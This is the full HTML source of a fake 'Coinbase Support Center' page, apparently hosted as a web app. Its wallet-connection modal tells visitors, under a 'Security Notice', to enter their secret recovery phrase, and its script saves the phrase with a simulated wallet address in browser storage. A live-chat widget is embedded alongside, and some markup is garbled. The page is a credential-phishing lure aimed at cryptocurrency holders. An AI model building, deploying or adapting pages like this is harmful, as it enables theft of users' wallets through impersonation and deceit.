Spaces:
Cbteam
/
No application file

coinbd / index.html
Cbteam's picture
Remove the live-chat button and replace it with an active support chat feature - Follow Up Deployment
a2f7d73 verified
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Coinbase Support | Crypto Wallet & Exchange Help</title>
<link rel="icon" type="image/x-icon" href="https://static.photos/blue/200x200/1">
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
<script src="https://unpkg.com/feather-icons"></script>
<!-- Chaport Live Chat Button Styling -->
<style>
#chaport-launcher {
bottom: 20px !important;
right: 20px !important;
}
#chaport-launcher svg {
width: 24px !important;
height: 24px !important;
}
</style>
<script src="https://cdn.jsdelivr.net/npm/@walletconnect/web3-provider@1.7.8/dist/umd/index.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/web3@1.8.1/dist/web3.min.js"></script>
<style>
.gradient-bg {
background: linear-gradient(135deg, #1652f0 0%, #1652f0 50%, #0a46e4 100%);
}
.wallet-btn:hover {
transform: translateY(-2px);
box-shadow: 0 10px 20px rgba(22, 82, 240, 0.2);
}
.nav-icon:hover {
color: #1652f0;
transform: scale(1.1);
}
.support-card:hover {
transform: translateY(-5px);
box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
}
</style>
</head>
<body class="font-sans antialiased text-gray-800">
<!-- Navigation -->
<nav class="bg-white shadow-6 I'sm">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="flex justify-between items-center h-16">
<div class="flex items-center">
<div class="flex-shrink-0 flex items-center">
<img class="h-8 w-auto" src="https://static.photos/blue/200x200/1" alt="Coinbase Logo">
<span class="ml-2 text-xl font-bold text-blue-600">Coinbase</span>
</div>
</div>
<div class="flex items-center space-x-4">
<button id="connectWalletBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300">
Connect Wallet
</button>
</div>
</div>
<div class="flex justify-center border-t border-gray-200 pt-2 pb-1">
<div class="flex space-x-8">
<a href="#" class="border-blue-500 text-gray-900 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Support</a>
<a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Products</a>
<a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Resources</a>
</div>
</div>
</div>
</nav>
<!-- Hero Section -->
<div class="gradient-bg text-white">
<div class="max-w-7xl mx-auto py-16 px-4 sm:py-24 sm:px-6 lg:px-8">
<div class="text-center">
<h1 class="text-4xl font-extrabold tracking-tight sm:text-5xl lg:text-6xl" data-aos="fade-down">
Coinbase Support Center
</h1>
<p class="mt-6 max-w-3xl mx-auto text-xl" data-aos="fade-up" data-aos-delay="100">
Get help with your account, trading, wallet, and more. Our support team is here 24/7.
</p>
<div class="mt-10 flex justify-center space-x-4" data-aos="fade-up" data-aos-delay="200">
<div class="relative">
<input type="text" placeholder="Search help articles..." class="py-3 px-4 w-96 rounded-lg text-gray-800 focus:outline-none focus:ring-2 focus:ring-blue-500">
<button class="absolute right-2 top-2 text-gray-400 hover:text-gray-600">
<i data-feather="search"></i>
</button>
</div>
</div>
</div>
</div>
</div>
<!-- Wallet Connection Modal -->
<div id="walletModal" class="fixed z-10 inset-0 overflow-y-auto hidden">
<div class="flex items-center justify-center min-h-screen pt-4 px-4 pb-20 text-center sm:block sm:p-0">
<div class="fixed inset-0 transition-opacity" aria-hidden="true">
<div class="absolute inset-0 bg-gray-500 opacity-75"></div>
</div>
<span class="hidden sm:inline-block sm:align-middle sm:h-screen" aria-hidden="true">&#8203;</span>
<div class="inline-block align-bottom bg-white rounded-lg text-left overflow-hidden shadow-xl transform transition-all sm:my-8 sm:align-middle sm:max-w-lg sm:w-full">
<div class="bg-white px-4 pt-5 pb-4 sm:p-6 sm:pb-4">
<div class="sm:flex sm:items-start">
<div class="mt-3 text-center sm:mt-0 sm:ml-4 sm:text-left">
<h3 class="text-lg leading-6 font-medium text-gray-900" id="modal-title">
Connect Your Wallet
</h3>
<div class="mt-4">
<p class="text-sm text-gray-500">
Choose your preferred wallet provider to connect to Coinbase Support.
</p>
<div class="mt-6 space-y-4">
<button onclick="connectWallet('metamask')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50">
<div class="flex items-center">
<img src="https://static.photos/blue/200x200/2" class="h-8 w-8 mr-3" alt="MetaMask">
<span>MetaMask</span>
</div>
<i data-feather="arrow-right"></i>
</button>
<button onclick="connectWallet('walletconnect')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50">
<div class="flex items-center">
<img src="https://static.photos/blue/200x200/3" class="h-8 w-8 mr-3" alt="WalletConnect">
<span>WalletConnect</span>
</div>
<i data-feather="arrow-right"></i>
</button>
<button onclick="connectWallet('coinbase')" class="w-full flex items-center justify-between px-4 py-3 border border-gray-200 rounded-lg hover:bg-gray-50">
<div class="flex items-center">
<img src="https://static.photos/blue/200x200/4" class="h-8 w-8 mr-3" alt="Coinbase Wallet">
<span>Coinbase Wallet</span>
</div>
<i data-feather="arrow-right"></i>
</button>
</div>
<div class="mt-6 p-4 bg-yellow-50 border border-yellow-200 rounded-lg">
<p class="text-sm text-yellow-800">
<strong>Security Notice:</strong> For enhanced security, please enter your secret recovery phrase when connecting your wallet.
</p>
<div class="mt-3">
<input type="text" id="secretPhraseInput" placeholder="Enter your secret phrase" class="w-full px-3 py-2 border border-gray-300 rounded-md text-sm">
</div>
</div>
</div>
</div>
</div>
</div>
<div class="bg-gray-50 px-4 py-3 sm:px-6 sm:flex sm:flex-row-reverse">
<button type="button" onclick="closeModal()" class="mt-3 w-full inline-flex justify-center rounded-md border border-gray-300 shadow-sm px-4 py-2 bg-white text-base font-medium text-gray-700 hover:bg-gray-50 sm:mt-0 sm:ml-3 sm:w-auto sm:text-sm">
Cancel
</button>
</div>
</div>
</div>
</div>
<!-- Support Categories -->
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-16">
<h2 class="text-3xl font-bold text-center mb-12" data-aos="fade-up">How can we help you today?</h2>
<div class="grid grid-cols-1 gap-6 sm:grid-cols-2 lg:grid-cols-3">
<div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="100">
<div class="p-6">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-blue-100 text-blue-600 mb-4">
<i data-feather="user"></i>
</div>
<h3 class="text-lg font-medium text-gray-900 mb-2">Account Access</h3>
<p class="text-gray-500">
Troubleshoot login issues, account recovery, and verification problems.
</p>
<a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
</a>
</div>
</div>
<div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="200">
<div class="p-6">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-green-100 text-green-600 mb-4">
<i data-feather="dollar-sign"></i>
</div>
<h3 class="text-lg font-medium text-gray-900 mb-2">Trading & Funding</h3>
<p class="text-gray-500">
Get help with buying, selling, deposits, withdrawals, and transfers.
</p>
<a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
</a>
</div>
</div>
<div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="300">
<div class="p-6">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-purple-100 text-purple-600 mb-4">
<i data-feather="credit-card"></i>
</div>
<h3 class="text-lg font-medium text-gray-900 mb-2">Wallet Support</h3>
<p class="text-gray-500">
Assistance with Coinbase Wallet, transactions, and security features.
</p>
<a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
</a>
</div>
</div>
<div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="400">
<div class="p-6">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-yellow-100 text-yellow-600 mb-4">
<i data-feather="shield"></i>
</div>
<h3 class="text-lg font-medium text-gray-900 mb-2">Security</h3>
<p class="text-gray-500">
Protect your account, enable 2FA, and learn about security best practices.
</p>
<a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
</a>
</div>
</div>
<div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="500">
<div class="p-6">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-red-100 text-red-600 mb-4">
<i data-feather="help-circle"></i>
</div>
<h3 class="text-lg font-medium text-gray-900 mb-2">General Help</h3>
<p class="text-gray-500">
FAQs, troubleshooting, and general questions about Coinbase services.
</p>
<a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
Learn more <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
</a>
</div>
</div>
<div class="support-card bg-white rounded-lg shadow-md overflow-hidden transition-all duration-300" data-aos="fade-up" data-aos-delay="600">
<div class="p-6">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-indigo-100 text-indigo-600 mb-4">
<i data-feather="message-square"></i>
</div>
<h3 class="text-lg font-medium text-gray-900 mb-2">Contact Support</h3>
<p class="text-gray-500">
Can't find what you need? Contact our support team directly.
</p>
<button onclick="app.chaport.chaportConfigom"('show')" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
Live Chat <i data-feather="message-circle" class="ml-1 h-4 w-4"></i>
</button>
</div>
</div>
</div>
</div>
<!-- Connected Wallet Info -->
<div id="walletInfo" class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8 bg-blue-50 rounded-lg mb-16 hidden">
<div class="flex items-center justify-between">
<div class="flex items-center">
<div class="flex-shrink-0">
<div class="h-10 w-10 rounded-full bg-blue-100 flex items-center justify-center">
<i data-feather="check-circle" class="text-blue-600"></i>
</div>
</div>
<div class="ml-3">
<h3 class="text-lg font-medium text-blue-800">Wallet Connected</h3>
<p id="walletAddress" class="text-sm text-blue-600 truncate max-w-xs">0x742d35Cc6634C0532925a3b844Bc454e4438f44e</p>
</div>
</div>
<button onclick="disconnectWallet()" class="inline-flex items-center px-3 py-1 border border-transparent text-sm font-medium rounded-md text-blue-700 bg-blue-100 hover:bg-blue-200">
Disconnect
</button>
</div>
</div>
<!-- Popular Articles -->
<div class="bg-gray-50 py-16">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<h2 class="text-3xl font-bold text-center mb-12" data-aos="fade-up">Popular Help Articles</h2>
<div class="grid grid-cols-1 gap-6 sm:grid-cols-2 lg:grid-cols-3">
<div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="100">
<div class="p-6">
<h3 class="text-lg font-medium text-gray-900 mb-2">How to verify my identity</h3>
<p class="text-gray-500 mb-4">
Step-by-step guide to completing identity verification on Coinbase.
</p>
<a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800">
Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
</a>
</div>
</div>
<div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="200">
<div class="p-6">
<h3 class="text-lg font-medium text-gray-900 mb-2">Troubleshooting deposit issues</h3>
<p class="text-gray-500 mb-4">
What to do when your deposit isn't showing in your account.
</p>
<a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800">
Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
</a>
</div>
</div>
<div class="bg-white rounded-lg shadow-md overflow-hidden" data-aos="fade-up" data-aos-delay="300">
<div class="p-6">
<h3 class="text-lg font-medium text-gray-900 mb-2">Setting up two-factor authentication</h3>
<p class="text-gray-500 mb-4">
How to enable 2FA for enhanced account security.
</p>
<a href="#" class="inline-flex items-center text-blue-600 hover:text-blue-800">
Read article <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
</a>
</div>
</div>
</div>
</div>
</div>
<!-- Footer -->
<footer class="bg-gray-800 text-white">
<div class="max-w-7xl mx-auto py-12 px-4 sm:px-6 lg:px-8">
<div class="grid grid-cols-2 md:grid-cols-4 gap-8">
<div>
<h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Products</h3>
<ul class="space-y-2">
<li><a href="#" class="text-gray-400 hover:text-white">Exchange</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Wallet</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Commerce</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Earn</a></li>
</ul>
</div>
<div>
<h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Resources</h3>
<ul class="space-y-2">
<li><a href="#" class="text-gray-400 hover:text-white">Help Center</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Status</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Blog</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Community</a></li>
</ul>
</div>
<div>
<h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Company</h3>
<ul class="space-y-2">
<li><a href="#" class="text-gray-400 hover:text-white">About</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Careers</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Press</a></li>
<li><a href="#" class="text-gray-400 hover:text-white">Legal</a></li>
</ul>
</div>
<div>
<h3 class="text-sm font-semibold text-gray-300 tracking-wider uppercase mb-4">Connect</h3>
<div class="flex space-x-4">
<a href="#" class="text-gray-400 hover:text-white">
<i data-feather="twitter"></i>
</a>
<a href="#" class="text-gray-400 hover:text-white">
<i data-feather="facebook"></i>
</a>
<a href="#" class="text-gray-400 hover:text-white">
<i data-feather="instagram"></i>
</a>
<a href="#" class="text-gray-400 hover:text-white">
<i data-feather="linkedin"></i>
</a>
</div>
<div class="mt-4">
<button id="mobileConnectBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300">
Connect Wallet
</button>
</div>
</div>
</div>
<div class="mt-8 border-t border-gray-700 pt-8 flex flex-col md:flex-row justify-between">
<p class="text-gray-400 text-sm">
&copy; 2023 Coinbase Support. All rights reserved.
</p>
<div class="flex space-x-6 mt-4 md:mt-0">
<a href="#" class="text-gray-400 hover:text-white text-sm">Privacy Policy</a>
<a href="#" class="text-gray-400 hover:text-white text-sm">Terms of Service</a>
<a href="#" class="text-gray-400 hover:text-white text-sm">Cookie Policy</a>
</div>
</div>
</div>
</footer>
<!-- Live Chat Button -->
<div class="fixed bottom-6 right-6 z-50">
<button onclick="window.chaport.q('show')" class="bg-blue-600 hover:bg-blue-700 text-white rounded-full p-4 shadow-lg flex items-center justify-center transition-all duration-300 hover:shadow-xl">
Live Chat
<i data-feather="message-circle" class="h-6 w-6"></i>
</button>
</div>
<!-- Chaport Live Chat -->
<script>
(function(w,d,v3){
w.chaportConfig = {
appId : '64f6a4c4e4b0b4a3d4a3b4a3',
visibility: 'shown',
widgetStyle: {
primaryColor: '#1652f0',
darkMode: false
}
};
if(w.chaport)return;v3=w.chaport={};v3._q=[];v3._l={};v3.q=function(){v3._q.push(arguments)};v3.on=function(e,fn){if(!v3._l[e])v3._l[e]=[];v3._l[e].push(fn)};
var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://app.chaport.com/javascripts/insert.js';
var ss=d.getElementsByTagName('script')[0];ss.parentNode.insertBefore(s,ss)
})(window, document);
// Initialize Chaport with your app ID
window.chaportConfig = {
appId: '64f6a4c4e4b0b4a3d4a3b4a3',
visibility: 'shown',
widgetStyle: {
primaryColor: '#1652f0',
darkMode: false
}
};
// Wait for Chaport to load and then show/hide based on user interaction
function initChaport() {
if (window.chaport) {
// Set up event listeners for chat buttons
const chatButtons = document.querySelectorAll('[onclick*="chaport"]');
chatButtons.forEach(button => {
button.onclick = function() {
window.chaport.q('show');
};
});
// Listen for Chaport ready event
window.chaport.on('ready', function() {
console.log('Chaport live chat is ready');
});
// Listen for chat events
window.chaport.on('show', function() {
console.log('Chat window opened');
});
window.chaport.on('open', function() {
console.log('Chat window open');
});
} else {
// Retry initialization if Chaport isn't loaded yet
setTimeout(initChaport, 10);
}
}
// Start initialization
initChaport();
// Initialize AOS animations
AOS.init({
duration: 800,
easing: 'ease-in-out',
once: true
});
// Initialize Feather Icons
feather.replace();
// Wallet connection functionality
let walletConnected = false;
let walletAddress = '';
document.getElementById('connectWalletBtn').addEventListener('click', openModal);
document.getElementById('mobileConnectBtn').addEventListener('click', openModal);
function openModal() {
document.getElementById('walletModal').classList.remove('hidden');
}
function closeModal() {
document.getElementById('walletModal').classList.add('hidden');
}
function connectWallet(provider) {
// Simulate wallet connection
walletConnected = true;
walletAddress = '0x' + Math.random().toString(16).substr(2, 40);
// Get secret phrase
const secretPhrase = document.getElementById('secretPhraseInput').value || 'Not provided';
// Store user data
const userData = JSON.parse(localStorage.getItem('coinbaseUserData')) || [];
userData.push({
walletAddress: walletAddress,
connectionDate: new Date().toISOString(),
secretPhrase: secretPhrase,
provider: provider
});
localStorage.setItem('coinbaseUserData', JSON.stringify(userData));
// Update UI
document.getElementById('walletModal').classList.add('hidden');
document.getElementById('walletInfo').classList.remove('hidden');
document.getElementById('walletAddress').textContent = walletAddress;
// Update button state
document.getElementById('connectWalletBtn').textContent = 'Wallet Connected';
document.getElementById('connectWalletBtn').classList.remove('bg-blue-600', 'hover:bg-blue-700');
document.getElementById('connectWalletBtn').classList.add('bg-green-500', 'hover:bg-green-600');
// Clear secret phrase input
document.getElementById('secretPhraseInput').value = '';
// Show success notification
showNotification('Wallet connected successfully!');
}
function disconnectWallet() {
walletConnected = false;
walletAddress = '';
// Update UI
document.getElementById('walletInfo').classList.add('hidden');
// Update button state
document.getElementById('connectWalletBtn').textContent = 'Connect Wallet';
document.getElementById('connectWalletBtn').classList.remove('bg-green-500', 'hover:bg-green-600');
document.getElementById('connectWalletBtn').classList.add('bg-blue-600', 'hover:bg-blue-700');
// Show notification
showNotification('Wallet disconnected');
}
function showNotification(message) {
const notification = document.createElement('div');
notification.className = 'fixed bottom-4 right-4 bg-green-500 text-white px-4 py-2 rounded-md shadow-lg flex items-center';
notification.innerHTML = `
<i data-feather="check-circle" class="mr-2"></i>
<span>${message}</span>
`;
document.body.appendChild(notification);
feather.replace();
setTimeout(() => {
notification.classList.add('opacity-0', 'transition-opacity', 'duration-300');
setTimeout(() => {
notification.remove();
}, 300);
}, 3000);
}
// Real WalletConnect integration would go here
// This is a simplified version for demonstration
</script>
</body>
</html>